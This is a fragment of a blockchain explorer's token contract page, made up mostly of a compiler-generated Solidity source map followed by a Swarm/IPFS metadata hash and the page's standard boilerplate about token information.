2;;;14063:18;;:::i;:::-;14049:2;14108:1;14105;14101:9;14093:17;;13970:146;;;;:::o;14122:96::-;;14188:24;14206:5;14188:24;:::i;:::-;14177:35;;14167:51;;;:::o;14224:90::-;;14301:5;14294:13;14287:21;14276:32;;14266:48;;;:::o;14320:126::-;;14397:42;14390:5;14386:54;14375:65;;14365:81;;;:::o;14452:77::-;;14518:5;14507:16;;14497:32;;;:::o;14535:86::-;;14610:4;14603:5;14599:16;14588:27;;14578:43;;;:::o;14627:307::-;14695:1;14705:113;14719:6;14716:1;14713:13;14705:113;;;14804:1;14799:3;14795:11;14789:18;14785:1;14780:3;14776:11;14769:39;14741:2;14738:1;14734:10;14729:15;;14705:113;;;14836:6;14833:1;14830:13;14827:2;;;14916:1;14907:6;14902:3;14898:16;14891:27;14827:2;14676:258;;;;:::o;14940:320::-;;15021:1;15015:4;15011:12;15001:22;;15068:1;15062:4;15058:12;15089:18;15079:2;;15145:4;15137:6;15133:17;15123:27;;15079:2;15207;15199:6;15196:14;15176:18;15173:38;15170:2;;;15226:18;;:::i;:::-;15170:2;14991:269;;;;:::o;15266:180::-;15314:77;15311:1;15304:88;15411:4;15408:1;15401:15;15435:4;15432:1;15425:15;15452:180;15500:77;15497:1;15490:88;15597:4;15594:1;15587:15;15621:4;15618:1;15611:15;15638:102;;15730:2;15726:7;15721:2;15714:5;15710:14;15706:28;15696:38;;15686:54;;;:::o;15746:222::-;15886:34;15882:1;15874:6;15870:14;15863:58;15955:5;15950:2;15942:6;15938:15;15931:30;15852:116;:::o;15974:221::-;16114:34;16110:1;16102:6;16098:14;16091:58;16183:4;16178:2;16170:6;16166:15;16159:29;16080:115;:::o;16201:225::-;16341:34;16337:1;16329:6;16325:14;16318:58;16410:8;16405:2;16397:6;16393:15;16386:33;16307:119;:::o;16432:231::-;16572:34;16568:1;16560:6;16556:14;16549:58;16641:14;16636:2;16628:6;16624:15;16617:39;16538:125;:::o;16669:227::-;16809:34;16805:1;16797:6;16793:14;16786:58;16878:10;16873:2;16865:6;16861:15;16854:35;16775:121;:::o;16902:182::-;17042:34;17038:1;17030:6;17026:14;17019:58;17008:76;:::o;17090:224::-;17230:34;17226:1;17218:6;17214:14;17207:58;17299:7;17294:2;17286:6;17282:15;17275:32;17196:118;:::o;17320:114::-;17426:8;:::o;17440:223::-;17580:34;17576:1;17568:6;17564:14;17557:58;17649:6;17644:2;17636:6;17632:15;17625:31;17546:117;:::o;17669:179::-;17809:31;17805:1;17797:6;17793:14;17786:55;17775:73;:::o;17854:224::-;17994:34;17990:1;17982:6;17978:14;17971:58;18063:7;18058:2;18050:6;18046:15;18039:32;17960:118;:::o;18084:122::-;18157:24;18175:5;18157:24;:::i;:::-;18150:5;18147:35;18137:2;;18196:1;18193;18186:12;18137:2;18127:79;:::o;18212:122::-;18285:24;18303:5;18285:24;:::i;:::-;18278:5;18275:35;18265:2;;18324:1;18321;18314:12;18265:2;18255:79;:::o
Swarm Source
ipfs://906c720705ac3e5f6f8069a7695387a751fb69a1e0a4bdb1254dbc388646fb96
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.